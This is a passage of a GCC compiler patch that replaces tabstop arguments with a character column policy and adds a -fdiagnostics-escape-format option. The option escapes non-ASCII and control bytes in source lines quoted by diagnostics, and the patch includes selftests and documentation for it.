+ m_colorize_source_p (context->colorize_source_p),
+ m_show_labels_p (context->show_labels_p),
+@@ -986,7 +1199,8 @@ layout::layout (diagnostic_context * con
+ m_fixit_hints (richloc->get_num_fixit_hints ()),
+ m_line_spans (1 + richloc->get_num_locations ()),
+ m_linenum_width (0),
+- m_x_offset_display (0)
++ m_x_offset_display (0),
++ m_escape_on_output (richloc->escape_on_output_p ())
+ {
+ for (unsigned int idx = 0; idx < richloc->get_num_locations (); idx++)
+ {
+@@ -1072,10 +1286,13 @@ layout::maybe_add_location_range (const
+
+ /* Everything is now known to be in the correct source file,
+ but it may require further sanitization. */
+- layout_range ri (exploc_with_display_col (start, m_context->tabstop),
+- exploc_with_display_col (finish, m_context->tabstop),
++ layout_range ri (exploc_with_display_col (start, m_policy,
++ LOCATION_ASPECT_START),
++ exploc_with_display_col (finish, m_policy,
++ LOCATION_ASPECT_FINISH),
+ loc_range->m_range_display_kind,
+- exploc_with_display_col (caret, m_context->tabstop),
++ exploc_with_display_col (caret, m_policy,
++ LOCATION_ASPECT_CARET),
+ original_idx, loc_range->m_label);
+
+ /* If we have a range that finishes before it starts (perhaps
+@@ -1409,7 +1626,7 @@ layout::calculate_x_offset_display ()
+ = get_line_bytes_without_trailing_whitespace (line.get_buffer (),
+ line.length ());
+ int eol_display_column
+- = cpp_display_width (line.get_buffer (), line_bytes, m_context->tabstop);
++ = cpp_display_width (line.get_buffer (), line_bytes, m_policy);
+ if (caret_display_column > eol_display_column
+ || !caret_display_column)
+ {
+@@ -1488,7 +1705,7 @@ layout::print_source_line (linenum_type
+ /* This object helps to keep track of which display column we are at, which is
+ necessary for computing the line bounds in display units, for doing
+ tab expansion, and for implementing m_x_offset_display. */
+- cpp_display_width_computation dw (line, line_bytes, m_context->tabstop);
++ cpp_display_width_computation dw (line, line_bytes, m_policy);
+
+ /* Skip the first m_x_offset_display display columns. In case the leading
+ portion that will be skipped ends with a character with wcwidth > 1, then
+@@ -1536,7 +1753,8 @@ layout::print_source_line (linenum_type
+ tabs and replacing some control bytes with spaces as necessary. */
+ const char *c = dw.next_byte ();
+ const int start_disp_col = dw.display_cols_processed () + 1;
+- const int this_display_width = dw.process_next_codepoint ();
++ cpp_decoded_char cp;
++ const int this_display_width = dw.process_next_codepoint (&cp);
+ if (*c == '\t')
+ {
+ /* The returned display width is the number of spaces into which the
+@@ -1545,15 +1763,6 @@ layout::print_source_line (linenum_type
+ pp_space (m_pp);
+ continue;
+ }
+- if (*c == '\0' || *c == '\r')
+- {
+- /* cpp_wcwidth() promises to return 1 for all control bytes, and we
+- want to output these as a single space too, so this case is
+- actually the same as the '\t' case. */
+- gcc_assert (this_display_width == 1);
+- pp_space (m_pp);
+- continue;
+- }
+
+ /* We have a (possibly multibyte) character to output; update the line
+ bounds if it is not whitespace. */
+@@ -1565,7 +1774,8 @@ layout::print_source_line (linenum_type
+ }
+
+ /* Output the character. */
+- while (c != dw.next_byte ()) pp_character (m_pp, *c++);
++ m_policy.m_print_cb (m_pp, cp);
++ c = dw.next_byte ();
+ }
+ print_newline ();
+ return lbounds;
+@@ -1664,14 +1874,14 @@ layout::print_annotation_line (linenum_t
+ class line_label
+ {
+ public:
+- line_label (diagnostic_context *context, int state_idx, int column,
++ line_label (const cpp_char_column_policy &policy,
++ int state_idx, int column,
+ label_text text)
+ : m_state_idx (state_idx), m_column (column),
+ m_text (text), m_label_line (0), m_has_vbar (true)
+ {
+ const int bytes = strlen (text.m_buffer);
+- m_display_width
+- = cpp_display_width (text.m_buffer, bytes, context->tabstop);
++ m_display_width = cpp_display_width (text.m_buffer, bytes, policy);
+ }
+
+ /* Sorting is primarily by column, then by state index. */
+@@ -1731,7 +1941,7 @@ layout::print_any_labels (linenum_type r
+ if (text.m_buffer == NULL)
+ continue;
+
+- labels.safe_push (line_label (m_context, i, disp_col, text));
++ labels.safe_push (line_label (m_policy, i, disp_col, text));
+ }
+ }
+
+@@ -2011,7 +2221,7 @@ public:
+
+ /* Get the range of bytes or display columns that HINT would affect. */
+ static column_range
+-get_affected_range (diagnostic_context *context,
++get_affected_range (const cpp_char_column_policy &policy,
+ const fixit_hint *hint, enum column_unit col_unit)
+ {
+ expanded_location exploc_start = expand_location (hint->get_start_loc ());
+@@ -2022,13 +2232,11 @@ get_affected_range (diagnostic_context *
+ int finish_column;
+ if (col_unit == CU_DISPLAY_COLS)
+ {
+- start_column
+- = location_compute_display_column (exploc_start, context->tabstop);
++ start_column = location_compute_display_column (exploc_start, policy);
+ if (hint->insertion_p ())
+ finish_column = start_column - 1;
+ else
+- finish_column
+- = location_compute_display_column (exploc_finish, context->tabstop);
++ finish_column = location_compute_display_column (exploc_finish, policy);
+ }
+ else
+ {
+@@ -2041,12 +2249,13 @@ get_affected_range (diagnostic_context *
+ /* Get the range of display columns that would be printed for HINT. */
+
+ static column_range
+-get_printed_columns (diagnostic_context *context, const fixit_hint *hint)
++get_printed_columns (const cpp_char_column_policy &policy,
++ const fixit_hint *hint)
+ {
+ expanded_location exploc = expand_location (hint->get_start_loc ());
+- int start_column = location_compute_display_column (exploc, context->tabstop);
++ int start_column = location_compute_display_column (exploc, policy);
+ int hint_width = cpp_display_width (hint->get_string (), hint->get_length (),
+- context->tabstop);
++ policy);
+ int final_hint_column = start_column + hint_width - 1;
+ if (hint->insertion_p ())
+ {
+@@ -2056,8 +2265,7 @@ get_printed_columns (diagnostic_context
+ {
+ exploc = expand_location (hint->get_next_loc ());
+ --exploc.column;
+- int finish_column
+- = location_compute_display_column (exploc, context->tabstop);
++ int finish_column = location_compute_display_column (exploc, policy);
+ return column_range (start_column,
+ MAX (finish_column, final_hint_column));
+ }
+@@ -2075,13 +2283,13 @@ public:
+ column_range affected_columns,
+ column_range printed_columns,
+ const char *new_text, size_t new_text_len,
+- int tabstop)
++ const cpp_char_column_policy &policy)
+ : m_affected_bytes (affected_bytes),
+ m_affected_columns (affected_columns),
+ m_printed_columns (printed_columns),
+ m_text (xstrdup (new_text)),
+ m_byte_length (new_text_len),
+- m_tabstop (tabstop),
++ m_policy (policy),
+ m_alloc_sz (new_text_len + 1)
+ {
+ compute_display_cols ();
+@@ -2099,7 +2307,7 @@ public:
+
+ void compute_display_cols ()
+ {
+- m_display_cols = cpp_display_width (m_text, m_byte_length, m_tabstop);
++ m_display_cols = cpp_display_width (m_text, m_byte_length, m_policy);
+ }
+
+ void overwrite (int dst_offset, const char_span &src_span)
+@@ -2127,7 +2335,7 @@ public:
+ char *m_text;
+ size_t m_byte_length; /* Not including null-terminator. */
+ int m_display_cols;
+- int m_tabstop;
++ const cpp_char_column_policy &m_policy;
+ size_t m_alloc_sz;
+ };
+
+@@ -2163,15 +2371,16 @@ correction::ensure_terminated ()
+ class line_corrections
+ {
+ public:
+- line_corrections (diagnostic_context *context, const char *filename,
++ line_corrections (const char_display_policy &policy,
++ const char *filename,
+ linenum_type row)
+- : m_context (context), m_filename (filename), m_row (row)
++ : m_policy (policy), m_filename (filename), m_row (row)
+ {}
+ ~line_corrections ();
+
+ void add_hint (const fixit_hint *hint);
+
+- diagnostic_context *m_context;
++ const char_display_policy &m_policy;
+ const char *m_filename;
+ linenum_type m_row;
+ auto_vec <correction *> m_corrections;
+@@ -2217,10 +2426,10 @@ source_line::source_line (const char *fi
+ void
+ line_corrections::add_hint (const fixit_hint *hint)
+ {
+- column_range affected_bytes = get_affected_range (m_context, hint, CU_BYTES);
+- column_range affected_columns = get_affected_range (m_context, hint,
++ column_range affected_bytes = get_affected_range (m_policy, hint, CU_BYTES);
++ column_range affected_columns = get_affected_range (m_policy, hint,
+ CU_DISPLAY_COLS);
+- column_range printed_columns = get_printed_columns (m_context, hint);
++ column_range printed_columns = get_printed_columns (m_policy, hint);
+
+ /* Potentially consolidate. */
+ if (!m_corrections.is_empty ())
+@@ -2289,7 +2498,7 @@ line_corrections::add_hint (const fixit_
+ printed_columns,
+ hint->get_string (),
+ hint->get_length (),
+- m_context->tabstop));
++ m_policy));
+ }
+
+ /* If there are any fixit hints on source line ROW, print them.
+@@ -2303,7 +2512,7 @@ layout::print_trailing_fixits (linenum_t
+ {
+ /* Build a list of correction instances for the line,
+ potentially consolidating hints (for the sake of readability). */
+- line_corrections corrections (m_context, m_exploc.file, row);
++ line_corrections corrections (m_policy, m_exploc.file, row);
+ for (unsigned int i = 0; i < m_fixit_hints.length (); i++)
+ {
+ const fixit_hint *hint = m_fixit_hints[i];
+@@ -2646,6 +2855,59 @@ namespace selftest {
+
+ /* Selftests for diagnostic_show_locus. */
+
++/* Verify that cpp_display_width correctly handles escaping. */
++
++static void
++test_display_widths ()
++{
++ gcc_rich_location richloc (UNKNOWN_LOCATION);
++
++ /* U+03C0 "GREEK SMALL LETTER PI". */
++ const char *pi = "\xCF\x80";
++ /* U+1F642 "SLIGHTLY SMILING FACE". */
++ const char *emoji = "\xF0\x9F\x99\x82";
++ /* Stray trailing byte of a UTF-8 character. */
++ const char *stray = "\xBF";
++ /* U+10FFFF. */
++ const char *max_codepoint = "\xF4\x8F\xBF\xBF";
++
++ /* No escaping. */
++ {
++ test_diagnostic_context dc;
++ char_display_policy policy (make_policy (dc, richloc));
++ ASSERT_EQ (cpp_display_width (pi, strlen (pi), policy), 1);
++ ASSERT_EQ (cpp_display_width (emoji, strlen (emoji), policy), 2);
++ ASSERT_EQ (cpp_display_width (stray, strlen (stray), policy), 1);
++ /* Don't check width of U+10FFFF; it's in a private use plane. */
++ }
++
++ richloc.set_escape_on_output (true);
++
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ char_display_policy policy (make_policy (dc, richloc));
++ ASSERT_EQ (cpp_display_width (pi, strlen (pi), policy), 8);
++ ASSERT_EQ (cpp_display_width (emoji, strlen (emoji), policy), 9);
++ ASSERT_EQ (cpp_display_width (stray, strlen (stray), policy), 4);
++ ASSERT_EQ (cpp_display_width (max_codepoint, strlen (max_codepoint),
++ policy),
++ strlen ("<U+10FFFF>"));
++ }
++
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ char_display_policy policy (make_policy (dc, richloc));
++ ASSERT_EQ (cpp_display_width (pi, strlen (pi), policy), 8);
++ ASSERT_EQ (cpp_display_width (emoji, strlen (emoji), policy), 16);
++ ASSERT_EQ (cpp_display_width (stray, strlen (stray), policy), 4);
++ ASSERT_EQ (cpp_display_width (max_codepoint, strlen (max_codepoint),
++ policy),
++ 16);
++ }
++}
++
+ /* For precise tests of the layout, make clear where the source line will
+ start. test_left_margin sets the total byte count from the left side of the
+ screen to the start of source lines, after the line number and the separator,
+@@ -2715,10 +2977,10 @@ test_layout_x_offset_display_utf8 (const
+ char_span lspan = location_get_source_line (tmp.get_filename (), 1);
+ ASSERT_EQ (line_display_cols,
+ cpp_display_width (lspan.get_buffer (), lspan.length (),
+- def_tabstop));
++ def_policy ()));
+ ASSERT_EQ (line_display_cols,
+ location_compute_display_column (expand_location (line_end),
+- def_tabstop));
++ def_policy ()));
+ ASSERT_EQ (0, memcmp (lspan.get_buffer () + (emoji_col - 1),
+ "\xf0\x9f\x98\x82\xf0\x9f\x98\x82", 8));
+
+@@ -2866,12 +3128,13 @@ test_layout_x_offset_display_tab (const
+ ASSERT_EQ ('\t', *(lspan.get_buffer () + (tab_col - 1)));
+ for (int tabstop = 1; tabstop != num_tabstops; ++tabstop)
+ {
++ cpp_char_column_policy policy (tabstop, cpp_wcwidth);
+ ASSERT_EQ (line_bytes + extra_width[tabstop],
+ cpp_display_width (lspan.get_buffer (), lspan.length (),
+- tabstop));
++ policy));
+ ASSERT_EQ (line_bytes + extra_width[tabstop],
+ location_compute_display_column (expand_location (line_end),
+- tabstop));
++ policy));
+ }
+
+ /* Check that the tab is expanded to the expected number of spaces. */
+@@ -4003,6 +4266,43 @@ test_one_liner_labels_utf8 ()
+ " bb\xf0\x9f\x98\x82\xf0\x9f\x98\x82\n",
+ pp_formatted_text (dc.printer));
+ }
++
++ /* Example of escaping the source lines. */
++ {
++ text_range_label label0 ("label 0\xf0\x9f\x98\x82");
++ text_range_label label1 ("label 1\xcf\x80");
++ text_range_label label2 ("label 2\xcf\x80");
++ gcc_rich_location richloc (foo, &label0);
++ richloc.add_range (bar, SHOW_RANGE_WITHOUT_CARET, &label1);
++ richloc.add_range (field, SHOW_RANGE_WITHOUT_CARET, &label2);
++ richloc.set_escape_on_output (true);
++
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" <U+1F602>_foo = <U+03C0>_bar.<U+1F602>_field<U+03C0>;\n"
++ " ^~~~~~~~~~~~~ ~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~\n"
++ " | | |\n"
++ " | | label 2\xcf\x80\n"
++ " | label 1\xcf\x80\n"
++ " label 0\xf0\x9f\x98\x82\n",
++ pp_formatted_text (dc.printer));
++ }
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ
++ (" <f0><9f><98><82>_foo = <cf><80>_bar.<f0><9f><98><82>_field<cf><80>;\n"
++ " ^~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
++ " | | |\n"
++ " | | label 2\xcf\x80\n"
++ " | label 1\xcf\x80\n"
++ " label 0\xf0\x9f\x98\x82\n",
++ pp_formatted_text (dc.printer));
++ }
++ }
+ }
+
+ /* Make sure that colorization codes don't interrupt a multibyte
+@@ -4057,9 +4357,9 @@ test_diagnostic_show_locus_one_liner_utf
+
+ char_span lspan = location_get_source_line (tmp.get_filename (), 1);
+ ASSERT_EQ (25, cpp_display_width (lspan.get_buffer (), lspan.length (),
+- def_tabstop));
++ def_policy ()));
+ ASSERT_EQ (25, location_compute_display_column (expand_location (line_end),
+- def_tabstop));
++ def_policy ()));
+
+ test_one_liner_simple_caret_utf8 ();
+ test_one_liner_caret_and_range_utf8 ();
+@@ -4445,30 +4745,31 @@ test_overlapped_fixit_printing (const li
+ pp_formatted_text (dc.printer));
+
+ /* Unit-test the line_corrections machinery. */
++ char_display_policy policy (make_policy (dc, richloc));
+ ASSERT_EQ (3, richloc.get_num_fixit_hints ());
+ const fixit_hint *hint_0 = richloc.get_fixit_hint (0);
+ ASSERT_EQ (column_range (12, 12),
+- get_affected_range (&dc, hint_0, CU_BYTES));
++ get_affected_range (policy, hint_0, CU_BYTES));
+ ASSERT_EQ (column_range (12, 12),
+- get_affected_range (&dc, hint_0, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (12, 22), get_printed_columns (&dc, hint_0));
++ get_affected_range (policy, hint_0, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (12, 22), get_printed_columns (policy, hint_0));
+ const fixit_hint *hint_1 = richloc.get_fixit_hint (1);
+ ASSERT_EQ (column_range (18, 18),
+- get_affected_range (&dc, hint_1, CU_BYTES));
++ get_affected_range (policy, hint_1, CU_BYTES));
+ ASSERT_EQ (column_range (18, 18),
+- get_affected_range (&dc, hint_1, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (18, 20), get_printed_columns (&dc, hint_1));
++ get_affected_range (policy, hint_1, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (18, 20), get_printed_columns (policy, hint_1));
+ const fixit_hint *hint_2 = richloc.get_fixit_hint (2);
+ ASSERT_EQ (column_range (29, 28),
+- get_affected_range (&dc, hint_2, CU_BYTES));
++ get_affected_range (policy, hint_2, CU_BYTES));
+ ASSERT_EQ (column_range (29, 28),
+- get_affected_range (&dc, hint_2, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (29, 29), get_printed_columns (&dc, hint_2));
++ get_affected_range (policy, hint_2, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (29, 29), get_printed_columns (policy, hint_2));
+
+ /* Add each hint in turn to a line_corrections instance,
+ and verify that they are consolidated into one correction instance
+ as expected. */
+- line_corrections lc (&dc, tmp.get_filename (), 1);
++ line_corrections lc (policy, tmp.get_filename (), 1);
+
+ /* The first replace hint by itself. */
+ lc.add_hint (hint_0);
+@@ -4660,30 +4961,31 @@ test_overlapped_fixit_printing_utf8 (con
+ pp_formatted_text (dc.printer));
+
+ /* Unit-test the line_corrections machinery. */
++ char_display_policy policy (make_policy (dc, richloc));
+ ASSERT_EQ (3, richloc.get_num_fixit_hints ());
+ const fixit_hint *hint_0 = richloc.get_fixit_hint (0);
+ ASSERT_EQ (column_range (14, 14),
+- get_affected_range (&dc, hint_0, CU_BYTES));
++ get_affected_range (policy, hint_0, CU_BYTES));
+ ASSERT_EQ (column_range (12, 12),
+- get_affected_range (&dc, hint_0, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (12, 22), get_printed_columns (&dc, hint_0));
++ get_affected_range (policy, hint_0, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (12, 22), get_printed_columns (policy, hint_0));
+ const fixit_hint *hint_1 = richloc.get_fixit_hint (1);
+ ASSERT_EQ (column_range (22, 22),
+- get_affected_range (&dc, hint_1, CU_BYTES));
++ get_affected_range (policy, hint_1, CU_BYTES));
+ ASSERT_EQ (column_range (18, 18),
+- get_affected_range (&dc, hint_1, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (18, 20), get_printed_columns (&dc, hint_1));
++ get_affected_range (policy, hint_1, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (18, 20), get_printed_columns (policy, hint_1));
+ const fixit_hint *hint_2 = richloc.get_fixit_hint (2);
+ ASSERT_EQ (column_range (35, 34),
+- get_affected_range (&dc, hint_2, CU_BYTES));
++ get_affected_range (policy, hint_2, CU_BYTES));
+ ASSERT_EQ (column_range (30, 29),
+- get_affected_range (&dc, hint_2, CU_DISPLAY_COLS));
+- ASSERT_EQ (column_range (30, 30), get_printed_columns (&dc, hint_2));
++ get_affected_range (policy, hint_2, CU_DISPLAY_COLS));
++ ASSERT_EQ (column_range (30, 30), get_printed_columns (policy, hint_2));
+
+ /* Add each hint in turn to a line_corrections instance,
+ and verify that they are consolidated into one correction instance
+ as expected. */
+- line_corrections lc (&dc, tmp.get_filename (), 1);
++ line_corrections lc (policy, tmp.get_filename (), 1);
+
+ /* The first replace hint by itself. */
+ lc.add_hint (hint_0);
+@@ -4877,15 +5179,16 @@ test_overlapped_fixit_printing_2 (const
+ richloc.add_fixit_insert_before (col_21, "}");
+
+ /* These fixits should be accepted; they can't be consolidated. */
++ char_display_policy policy (make_policy (dc, richloc));
+ ASSERT_EQ (2, richloc.get_num_fixit_hints ());
+ const fixit_hint *hint_0 = richloc.get_fixit_hint (0);
+ ASSERT_EQ (column_range (23, 22),
+- get_affected_range (&dc, hint_0, CU_BYTES));
+- ASSERT_EQ (column_range (23, 23), get_printed_columns (&dc, hint_0));
++ get_affected_range (policy, hint_0, CU_BYTES));
++ ASSERT_EQ (column_range (23, 23), get_printed_columns (policy, hint_0));
+ const fixit_hint *hint_1 = richloc.get_fixit_hint (1);
+ ASSERT_EQ (column_range (21, 20),
+- get_affected_range (&dc, hint_1, CU_BYTES));
+- ASSERT_EQ (column_range (21, 21), get_printed_columns (&dc, hint_1));
++ get_affected_range (policy, hint_1, CU_BYTES));
++ ASSERT_EQ (column_range (21, 21), get_printed_columns (policy, hint_1));
+
+ /* Verify that they're printed correctly. */
+ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
+@@ -5152,10 +5455,11 @@ test_tab_expansion (const line_table_cas
+ ....................123 45678901234 56789012345 columns */
+
+ const int tabstop = 8;
++ cpp_char_column_policy policy (tabstop, cpp_wcwidth);
+ const int first_non_ws_byte_col = 7;
+ const int right_quote_byte_col = 15;
+ const int last_byte_col = 25;
+- ASSERT_EQ (35, cpp_display_width (content, last_byte_col, tabstop));
++ ASSERT_EQ (35, cpp_display_width (content, last_byte_col, policy));
+
+ temp_source_file tmp (SELFTEST_LOCATION, ".c", content);
+ line_table_test ltt (case_);
+@@ -5198,6 +5502,114 @@ test_tab_expansion (const line_table_cas
+ }
+ }
+
++/* Verify that the escaping machinery can cope with a variety of different
++ invalid bytes. */
++
++static void
++test_escaping_bytes_1 (const line_table_case &case_)
++{
++ const char content[] = "before\0\1\2\3\r\x80\xff""after\n";
++ const size_t sz = sizeof (content);
++ temp_source_file tmp (SELFTEST_LOCATION, ".c", content, sz);
++ line_table_test ltt (case_);
++ const line_map_ordinary *ord_map = linemap_check_ordinary
++ (linemap_add (line_table, LC_ENTER, false, tmp.get_filename (), 0));
++ linemap_line_start (line_table, 1, 100);
++
++ location_t finish
++ = linemap_position_for_line_and_column (line_table, ord_map, 1,
++ strlen (content));
++
++ if (finish > LINE_MAP_MAX_LOCATION_WITH_COLS)
++ return;
++
++ /* Locations of the NUL and \r bytes. */
++ location_t nul_loc
++ = linemap_position_for_line_and_column (line_table, ord_map, 1, 7);
++ location_t r_loc
++ = linemap_position_for_line_and_column (line_table, ord_map, 1, 11);
++ gcc_rich_location richloc (nul_loc);
++ richloc.add_range (r_loc);
++
++ {
++ test_diagnostic_context dc;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" before \1\2\3 \x80\xff""after\n"
++ " ^ ~\n",
++ pp_formatted_text (dc.printer));
++ }
++ richloc.set_escape_on_output (true);
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ
++ (" before<U+0000><U+0001><U+0002><U+0003><U+000D><80><ff>after\n"
++ " ^~~~~~~~ ~~~~~~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" before<00><01><02><03><0d><80><ff>after\n"
++ " ^~~~ ~~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++}
++
++/* As above, but verify that we handle the initial byte of a line
++ correctly. */
++
++static void
++test_escaping_bytes_2 (const line_table_case &case_)
++{
++ const char content[] = "\0after\n";
++ const size_t sz = sizeof (content);
++ temp_source_file tmp (SELFTEST_LOCATION, ".c", content, sz);
++ line_table_test ltt (case_);
++ const line_map_ordinary *ord_map = linemap_check_ordinary
++ (linemap_add (line_table, LC_ENTER, false, tmp.get_filename (), 0));
++ linemap_line_start (line_table, 1, 100);
++
++ location_t finish
++ = linemap_position_for_line_and_column (line_table, ord_map, 1,
++ strlen (content));
++
++ if (finish > LINE_MAP_MAX_LOCATION_WITH_COLS)
++ return;
++
++ /* Location of the NUL byte. */
++ location_t nul_loc
++ = linemap_position_for_line_and_column (line_table, ord_map, 1, 1);
++ gcc_rich_location richloc (nul_loc);
++
++ {
++ test_diagnostic_context dc;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" after\n"
++ " ^\n",
++ pp_formatted_text (dc.printer));
++ }
++ richloc.set_escape_on_output (true);
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_UNICODE;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" <U+0000>after\n"
++ " ^~~~~~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++ {
++ test_diagnostic_context dc;
++ dc.escape_format = DIAGNOSTICS_ESCAPE_FORMAT_BYTES;
++ diagnostic_show_locus (&dc, &richloc, DK_ERROR);
++ ASSERT_STREQ (" <00>after\n"
++ " ^~~~\n",
++ pp_formatted_text (dc.printer));
++ }
++}
++
+ /* Verify that line numbers are correctly printed for the case of
+ a multiline range in which the width of the line numbers changes
+ (e.g. from "9" to "10"). */
+@@ -5254,6 +5666,8 @@ diagnostic_show_locus_c_tests ()
+ test_layout_range_for_single_line ();
+ test_layout_range_for_multiple_lines ();
+
++ test_display_widths ();
++
+ for_each_line_table_case (test_layout_x_offset_display_utf8);
+ for_each_line_table_case (test_layout_x_offset_display_tab);
+
+@@ -5274,6 +5688,8 @@ diagnostic_show_locus_c_tests ()
+ for_each_line_table_case (test_fixit_replace_containing_newline);
+ for_each_line_table_case (test_fixit_deletion_affecting_newline);
+ for_each_line_table_case (test_tab_expansion);
++ for_each_line_table_case (test_escaping_bytes_1);
++ for_each_line_table_case (test_escaping_bytes_2);
+
+ test_line_numbers_multiline_range ();
+ }
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+--- a/gcc/doc/invoke.texi 2021-12-13 23:23:05.764437151 -0800
++++ b/gcc/doc/invoke.texi 2021-12-14 01:16:01.553943061 -0800
+@@ -312,7 +312,8 @@ Objective-C and Objective-C++ Dialects}.
+ -fdiagnostics-show-path-depths @gol
+ -fno-show-column @gol
+ -fdiagnostics-column-unit=@r{[}display@r{|}byte@r{]} @gol
+--fdiagnostics-column-origin=@var{origin}}
++-fdiagnostics-column-origin=@var{origin} @gol
++-fdiagnostics-escape-format=@r{[}unicode@r{|}bytes@r{]}}
+
+ @item Warning Options
+ @xref{Warning Options,,Options to Request or Suppress Warnings}.
+@@ -5083,6 +5084,38 @@ first column. The default value of 1 co
+ behavior and to the GNU style guide. Some utilities may perform better with an
+ origin of 0; any non-negative value may be specified.
+
++@item -fdiagnostics-escape-format=@var{FORMAT}
++@opindex fdiagnostics-escape-format
++When GCC prints pertinent source lines for a diagnostic it normally attempts
++to print the source bytes directly. However, some diagnostics relate to encoding
++issues in the source file, such as malformed UTF-8, or issues with Unicode
++normalization. These diagnostics are flagged so that GCC will escape bytes
++that are not printable ASCII when printing their pertinent source lines.
++
++This option controls how such bytes should be escaped.
++
++The default @var{FORMAT}, @samp{unicode} displays Unicode characters that
++are not printable ASCII in the form @samp{<U+XXXX>}, and bytes that do not
++correspond to a Unicode character validly-encoded in UTF-8-encoded will be
++displayed as hexadecimal in the form @samp{<XX>}.
++
++For example, a source line containing the string @samp{before} followed by the
++Unicode character U+03C0 (``GREEK SMALL LETTER PI'', with UTF-8 encoding
++0xCF 0x80) followed by the byte 0xBF (a stray UTF-8 trailing byte), followed by
++the string @samp{after} will be printed for such a diagnostic as:
++
++@smallexample
++ before<U+03C0><BF>after
++@end smallexample
++
++Setting @var{FORMAT} to @samp{bytes} will display all non-printable-ASCII bytes
++in the form @samp{<XX>}, thus showing the underlying encoding of non-ASCII
++Unicode characters. For the example above, the following will be printed:
++
++@smallexample
++ before<CF><80><BF>after
++@end smallexample
++
+ @item -fdiagnostics-format=@var{FORMAT}
+ @opindex fdiagnostics-format
+ Select a different format for printing diagnostics.
+@@ -5150,9 +5183,11 @@ might be printed in JSON form (after for
+ @}
+ @}
+ ],
++ "escape-source": false,
+ "message": "...this statement, but the latter is @dots{}"
+ @}
+ ]
++ "escape-source": false,
+ "column-origin": 1,
+ @},
+ @dots{}
+@@ -5239,6 +5274,7 @@ of the expression, which have labels. I
+ "label": "T @{aka struct t@}"
+ @}
+ ],
++ "escape-source": false,
+ "message": "invalid operands to binary + @dots{}"
+ @}
+ @end smallexample
+@@ -5292,6 +5328,7 @@ might be printed in JSON form as:
+ @}
+ @}
+ ],
++ "escape-source": false,
+ "message": "\u2018struct s\u2019 has no member named @dots{}"
+ @}
+ @end smallexample
+@@ -5349,6 +5386,10 @@ For example, the intraprocedural example
+ ]
+ @end smallexample
+
++Diagnostics have a boolean attribute @code{escape-source}, hinting whether
++non-ASCII bytes should be escaped when printing the pertinent lines of
++source code (@code{true} for diagnostics involving source encoding issues).
++
+ @end table
+
+ @node Warning Options
+diff --git a/gcc/input.c b/gcc/input.c
+--- a/gcc/input.c 2021-07-27 23:55:07.328287915 -0700
++++ b/gcc/input.c 2021-12-14 01:16:01.553943061 -0800
+@@ -913,7 +913,8 @@ make_location (location_t caret, source_
+ source line in order to calculate the display width. If that cannot be done
+ for any reason, then returns the byte column as a fallback. */
+ int
+-location_compute_display_column (expanded_location exploc, int tabstop)
++location_compute_display_column (expanded_location exploc,
++ const cpp_char_column_policy &policy)
+ {
+ if (!(exploc.file && *exploc.file && exploc.line && exploc.column))
+ return exploc.column;
+@@ -921,7 +922,7 @@ location_compute_display_column (expande
+ /* If line is NULL, this function returns exploc.column which is the
+ desired fallback. */
+ return cpp_byte_column_to_display_column (line.get_buffer (), line.length (),
+- exploc.column, tabstop);
++ exploc.column, policy);
+ }
+
+ /* Dump statistics to stderr about the memory usage of the line_table
+@@ -3611,43 +3612,50 @@ test_line_offset_overflow ()
+ void test_cpp_utf8 ()
+ {
+ const int def_tabstop = 8;
++ cpp_char_column_policy policy (def_tabstop, cpp_wcwidth);
++
+ /* Verify that wcwidth of invalid UTF-8 or control bytes is 1. */
+ {
+- int w_bad = cpp_display_width ("\xf0!\x9f!\x98!\x82!", 8, def_tabstop);
++ int w_bad = cpp_display_width ("\xf0!\x9f!\x98!\x82!", 8, policy);
+ ASSERT_EQ (8, w_bad);
+- int w_ctrl = cpp_display_width ("\r\n\v\0\1", 5, def_tabstop);
++ int w_ctrl = cpp_display_width ("\r\n\v\0\1", 5, policy);
+ ASSERT_EQ (5, w_ctrl);
+ }
+
+ /* Verify that wcwidth of valid UTF-8 is as expected. */
+ {
+- const int w_pi = cpp_display_width ("\xcf\x80", 2, def_tabstop);
++ const int w_pi = cpp_display_width ("\xcf\x80", 2, policy);
+ ASSERT_EQ (1, w_pi);
